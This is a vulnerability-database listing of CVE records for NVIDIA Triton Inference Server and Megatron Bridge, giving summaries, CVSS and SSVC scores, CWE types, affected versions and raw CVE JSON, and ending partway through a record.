Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
2055 vulnerabilities by Nvidia
CVE-2026-47625 (GCVE-0-2026-47625)
Vulnerability from nvd – Published: 2026-09-08 16:09 – Updated: 2026-09-08 18:01
VLAI
EPSS
VEX
Summary
NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could abuse missing authorization. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-08 18:01 UTC
CWE
- CWE-862 - Missing Authorization
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Triton Inference Server |
Affected:
0.0-26.03
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-47625",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-08T18:01:40.172556Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T18:01:46.533Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "Triton Inference Server",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0-26.03"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could abuse missing authorization. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service."
}
],
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could abuse missing authorization. A successful exploit of this vulnerability might lead to information disclosure, data tampering, and denial of service."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "data tampering, denial of service, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T16:09:09.303Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47625"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47625"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5875"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-47625",
"datePublished": "2026-09-08T16:09:09.303Z",
"dateReserved": "2026-05-19T19:55:52.529Z",
"dateUpdated": "2026-09-08T18:01:46.533Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-16497 (GCVE-0-2026-16497)
Vulnerability from nvd – Published: 2026-09-08 16:09 – Updated: 2026-09-08 18:03
VLAI
EPSS
VEX
Summary
NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could cause excessive iteration. A successful exploit of this vulnerability might lead to denial of service.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-08 18:02 UTC
CWE
- CWE-834 - Excessive Iteration
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Triton Inference Server |
Affected:
0.0-26.06
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-16497",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-08T18:02:05.398606Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T18:03:39.875Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"Linux"
],
"product": "Triton Inference Server",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0-26.06"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could cause excessive iteration. A successful exploit of this vulnerability might lead to denial of service."
}
],
"value": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker could cause excessive iteration. A successful exploit of this vulnerability might lead to denial of service."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "denial of service"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-834",
"description": "CWE-834 Excessive Iteration",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T16:09:08.391Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16497"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16497"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5875"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-16497",
"datePublished": "2026-09-08T16:09:08.391Z",
"dateReserved": "2026-07-21T17:05:13.737Z",
"dateUpdated": "2026-09-08T18:03:39.875Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61779 (GCVE-0-2026-61779)
Vulnerability from nvd – Published: 2026-09-01 16:03 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:17 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61779",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:17:35.307207Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:51.395Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:03:05.641Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61779"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61779"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61779",
"datePublished": "2026-09-01T16:03:05.641Z",
"dateReserved": "2026-07-10T19:12:31.027Z",
"dateUpdated": "2026-09-01T16:28:51.395Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61778 (GCVE-0-2026-61778)
Vulnerability from nvd – Published: 2026-09-01 16:03 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:17 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61778",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:17:47.438122Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:51.257Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:03:06.567Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61778"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61778"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61778",
"datePublished": "2026-09-01T16:03:06.567Z",
"dateReserved": "2026-07-10T19:12:31.027Z",
"dateUpdated": "2026-09-01T16:28:51.257Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61777 (GCVE-0-2026-61777)
Vulnerability from nvd – Published: 2026-09-01 16:03 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:17 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61777",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:17:29.034840Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:51.098Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:03:07.698Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61777"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61777"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61777",
"datePublished": "2026-09-01T16:03:07.698Z",
"dateReserved": "2026-07-10T19:12:31.027Z",
"dateUpdated": "2026-09-01T16:28:51.098Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61776 (GCVE-0-2026-61776)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:18 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61776",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:18:21.416451Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:52.412Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:54.047Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61776"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61776"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61776",
"datePublished": "2026-09-01T16:02:54.047Z",
"dateReserved": "2026-07-10T19:12:31.026Z",
"dateUpdated": "2026-09-01T16:28:52.412Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61775 (GCVE-0-2026-61775)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:18 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61775",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:18:28.198407Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:52.270Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:54.969Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61775"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61775"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61775",
"datePublished": "2026-09-01T16:02:54.969Z",
"dateReserved": "2026-07-10T19:12:31.026Z",
"dateUpdated": "2026-09-01T16:28:52.270Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61774 (GCVE-0-2026-61774)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:18 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61774",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:18:42.114929Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:52.124Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:55.970Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61774"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61774"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61774",
"datePublished": "2026-09-01T16:02:55.970Z",
"dateReserved": "2026-07-10T19:12:31.026Z",
"dateUpdated": "2026-09-01T16:28:52.124Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61773 (GCVE-0-2026-61773)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:18 UTC
CWE
